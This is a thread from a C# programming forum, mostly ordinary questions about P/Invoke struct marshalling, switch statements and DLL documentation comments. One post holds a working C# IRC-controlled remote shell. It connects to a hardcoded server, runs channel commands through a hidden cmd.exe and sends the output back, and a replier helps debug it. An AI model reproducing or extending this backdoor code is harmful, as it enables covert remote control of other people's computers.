|
taibc wrote: How I can trace the error through source codes while I am using dll file ? Just the same, build a debug version of the DLL and the debugger should be able to step into it.
taibc wrote: I think the source codes don't have error That may well be true, but only by extensive testing can you be sure.
One of these days I'm going to think of a really clever signature.
|
|
|
|
|
I have just looked again at the layout of your C++ and C# structures; why are they different?
One of these days I'm going to think of a really clever signature.
|
|
|
|
|
The OP has laid them out alphabetically in c#, im pretty sure this will be the issue, non?
|
|
|
|
|
True; I did not check that originally, it never occurred to me that anyone would think of doing such a thing.
One of these days I'm going to think of a really clever signature.
|
|
|
|
|
I only convert the field type: unsigned char * (in C) into byte[] (in C#)
|
|
|
|
|
Yes but you have moved the elements into different positions within the structure. How can that work?
One of these days I'm going to think of a really clever signature.
|
|
|
|
|
This isn't my area but:
- Defining the fields in the struct in a different order definitely won't work. You need to declare in the same order (hopefully the reason for this is obvious).
- You've defined it as a class in C#, not a struct. I think you need it to be a struct, even though it's a pointer type declaration in C++. You might even need to declare it IntPtr and use Marshal methods to make a struct out of it.
- What is DGNHandle? That C++ function definition isn't valid unless it's a macro.
|
|
|
|
|
Thanks BobJanova and Richard MacCutchan very much.
I changed the order of fields and using "struct" instead of "class" in C#. DGNHandle is "Opaque handle representing DGN file, used with DGN API"
Now, I got another error: Exception of type 'System.ExecutionEngineException' was thrown.
Please see my detail codes:
[DllImport("DgnLib.dll", EntryPoint = "DGNReadElement")]
public static extern IntPtr DGNReadElement(IntPtr DGNHandle);
public static DGNElemCore ReadElement(IntPtr DGNHandle)
{
DGNElemCore element = new DGNElemCore ();
IntPtr itr = DGNReadElement(DGNHandle);
element = (DGNElemCore)Marshal.PtrToStructure(itr, typeof(DGNElemCore));
return element;
}
I am wondering: Can I convert a structure pointer (DGNElemCore *) in C to IntPtr (in C#), then use Marshal to get DGNElemCore. The function in C is:
__declspec(dllexport) DGNElemCore CPL_DLL *DGNReadElement( DGNHandle );
Thank you very much !
|
|
|
|
|
Hi,
I found out the reason of the error.
After changing the order of fields in Class and using "IntPrt" instead "byte[]" in C# (for char * in C). I can run without error.
Thank you very much !
|
|
|
|
|
Hi BobJanova,
I resolved that error as your sugesstion. However, I am getting another error while trying to get the text value of a char array in C.
For example: I have a struct in C that inclue a char array like below:
struct DGNElemText
{
.....
char text[1];
....
}
And the converted codes in C#:
[StructLayout(LayoutKind.Sequential)]
public class DGNElemText
{
.....
IntPtr text;
}
And I got the text value by using Marshal.PtrToStringAnsi(...). But I always received an empty text value. It is not expected value such as: "Hello", "abc123",...
I still got the same value when trying to use the another way:
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 1)]
public string text;
Do you know why ?
|
|
|
|
|
I am getting another error when casting between two structs in C#:
I have the function in C:
__declspec(dllexport) DGNElemCore CPL_DLL *DGNReadElement( DGNHandle );
This function will read a file and return a pointer to either DGNElemCore or DGNElemText, and I can use casting between them.
But, when I convert codes into C# as below, I can't cast types of these structs:
[DllImport("DgnLib.dll", EntryPoint = "DGNReadElement")]
public static extern IntPtr DGNReadElement(IntPtr DGNHandle);
public static DGNElemCore ReadElement(IntPtr DGNHandle)
{
DGNElemCore element = new DGNElemCore ();
IntPtr itr = DGNReadElement(DGNHandle);
MessageBox.Show(itr.GetType ().ToString ());
element = (DGNElemCore)Marshal.PtrToStructure(itr, typeof(DGNElemCore));
return element;
}
And the codes for testing:
DGNElemCore element = new DGNElemCore();
element = DgnFile.ReadElement(DGNHandle);
while (element != null)
{
if (element.type == 17 )
{
DGNElemText txtElement = new DGNElemText();
txtElement = (DGNElemText)element; **
......
}
}
Structs in C#:
[StructLayout(LayoutKind.Sequential )]
public class DGNElemCore
{
public int offset;
public int size;
public int element_id;
public int stype;
public int level;
public int type;
public int complex;
public int deleted;
public int graphic_group;
public int properties;
public int color;
public int weight;
public int style;
public int attr_bytes;
public IntPtr attr_data;
public int raw_bytes;
public IntPtr raw_data;
}
[StructLayout (LayoutKind.Sequential)]
public class DGNElemText : DGNElemCore
{
DGNElemCore core;
public int font_id;
public int justification;
public double length_mult;
public double height_mult;
public double rotation;
public DGNPoint origin;
public string text;
}
|
|
|
|
|
|
|
Hi all, I've written a shell with IRC as it's communication method, all seems fine and this technique works.. well, soft of. The problem with the following code is that type ".cmd dir" or ".cmd echo hello" I get the expect return as you would from the cmd shell, but when I type something like ".cmd cd c:\windows\" it thinks i've written "dows\" where did the rest of the command go?
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Diagnostics;
public static class ircConnect
{
public static int PORT = 6667;
public static string SERVER = "194.14.236.50";
public static string NICK = ircnick.generate(true);
private static string USER = "USER varta 8 * : varta irc shell";
public static string CHANNEL = "#channel";
public static StreamWriter writer;
public static Process processCmd;
public static bool begin = false;
public static string ExecuteCommandSync(object command)
{
try
{
StringBuilder strInput = new StringBuilder();
if (!begin)
{
processCmd = new Process();
processCmd.StartInfo.FileName = "cmd.exe";
processCmd.StartInfo.CreateNoWindow = true;
processCmd.StartInfo.UseShellExecute = false;
processCmd.StartInfo.RedirectStandardOutput = true;
processCmd.StartInfo.RedirectStandardInput = true;
processCmd.StartInfo.RedirectStandardError = true;
processCmd.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
processCmd.Start();
processCmd.BeginOutputReadLine();
}
strInput.Append(command);
strInput.Append("\n");
processCmd.StandardInput.WriteLine(command);
strInput.Remove(0, strInput.Length);
}
catch (Exception objException)
{
}
return "Error executing commands";
}
public static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
writer.WriteLine("PRIVMSG #channel :" + strOutput + "\r\n");
writer.Flush();
}
catch (Exception err) { }
}
}
public static void processInput(string Commands)
{
if (Commands.Contains(".cmd"))
{
string cmd = Commands;
int offset = cmd.LastIndexOf(":") + 6;
string sendCmd = ExecuteCommandSync(cmd.Substring(offset, cmd.Length - offset));
if (!begin) begin = true;
Thread.Sleep(2000);
}
}
public static void connect()
{
NetworkStream stream;
TcpClient irc;
string inputLine;
StreamReader reader;
try
{
irc = new TcpClient(SERVER, PORT);
stream = irc.GetStream();
reader = new StreamReader(stream);
writer = new StreamWriter(stream);
PingSender ping = new PingSender();
ping.Start();
writer.WriteLine(USER);
writer.Flush();
writer.WriteLine("NICK " + NICK);
writer.Flush();
writer.WriteLine("JOIN " + CHANNEL);
writer.Flush();
while (true)
{
while ((inputLine = reader.ReadLine()) != null)
{
Console.WriteLine(inputLine);
processInput(inputLine);
}
writer.Close();
reader.Close();
irc.Close();
}
}
catch (Exception e)
{
Console.WriteLine(e.ToString());
Thread.Sleep(5000);
string[] argv = { };
connect();
}
}
}
|
|
|
|
|
I did not examine your code in complete detail but the following lines in your processInput() method may well be the problem.
int offset = cmd.LastIndexOf(":") + 6;
string sendCmd = ExecuteCommandSync(cmd.Substring(offset, cmd.Length - offset));
One of these days I'm going to think of a really clever signature.
|
|
|
|
|
Hi guys,
how do you convert this to switch statement? i want to compare the cons and pros of switch vs else if statement, i can't sleep last night thinking about this, thank you for your help.
{
int a = int.Parse(textBox1.Text);
int b = 10;
if (a < b)
{
MessageBox.Show("a is less than b");
}
else if (a > b)
{
MessageBox.Show("a is greater than b");
}
else
{
MessageBox.Show("a is equal to b");
}
}
|
|
|
|
|
The rule of switch statements is that the Case clause must be a constant known at compile time.
Since a > b cannot be known at compile time, there is no way to convert this code to a switch statement.
The difficult we do right away...
...the impossible takes slightly longer.
|
|
|
|
|
so i was correct all along but the thought of it last night made me wonder, well. that's what you would be thinking if you are bored anyways. thank you for your help btw. 
|
|
|
|
|
Please note, however, that this is allowed:
switch ( a > b )
{
case true:
DoStuff();
break;
case false:
DoOtherStuff();
break;
}
The difficult we do right away...
...the impossible takes slightly longer.
|
|
|
|
|
This is also allowed:
switch (a.CompareTo(b))
{
case -1:
{
MessageBox.Show("a is less than b");
break;
}
case 1:
{
MessageBox.Show("a is greater than b");
break;
}
case 0:
{
MessageBox.Show("a is equal to b");
break;
}
}
NB: int.CompareTo(int) currently returns { -1, 0, 1 } , but is only documented as returning { less than 0, 0, greater than 0 } . If you want to be absolutely sure, you should pass the result to Math.Sign , which will always return { -1, 0, 1 } .
"These people looked deep within my soul and assigned me a number based on the order in which I joined."
- Homer
|
|
|
|
|
Allowed, but if you do it on a project I am working on I will punch you 
|
|
|
|
|
As mentioned, here you have no way but to use if-else .
However, in general, if your if else if statement is going to becomes unreadable with too many conditions, you can look at converting it into a case statement. Remember, someone might need to do maintenance work this code later on.
|
|
|
|
|
As others have said, it has to be if-else or rethink your tests and perhaps do a pre-assignment to get a switch-case statement.
With really complex if-else cascades one trick I like to use is to make a pre-defined array (think of it as a decision table). This means that the code is much simpler to read and also, changing your logic only means updating the decision table.
I don't know if it's considered 'good programming practise' as I'm not a Pro, just a hobby coder. But, it works for me.
|
|
|
|
|
It takes a particular mindset to understand decision tables. It's usually a sign that you need to take a step back and look for a more elegant solution.
|
|
|
|
|
hi , i have a dll file that contain about 10 classes and each class has 10 method .
i have writen a parameter comments for each method but when i'm using my dll file in other projects. and make an instance of the class and calling the classes method no discription w'll appears for the methods parameters .
but it works fine if i call the classes method in the same class . like this
public class Export
{
public void SaveData(ref DataSet data)
{
}
public void Testing ()
{
SaveData();
}
}
but if i used my dll file in other projects then nothing w'll appear .
LIKe this
Lets guess the dll file name is Classes then .
using classes;
namespace Myproject
{
public partial class Form1
{
public void Testing ()
{
classes.export exp = new classes.export();
exp.SaveData();
}
}
}
i hope you get what i mean .
any help i'll appriciate that .
|
|
|
|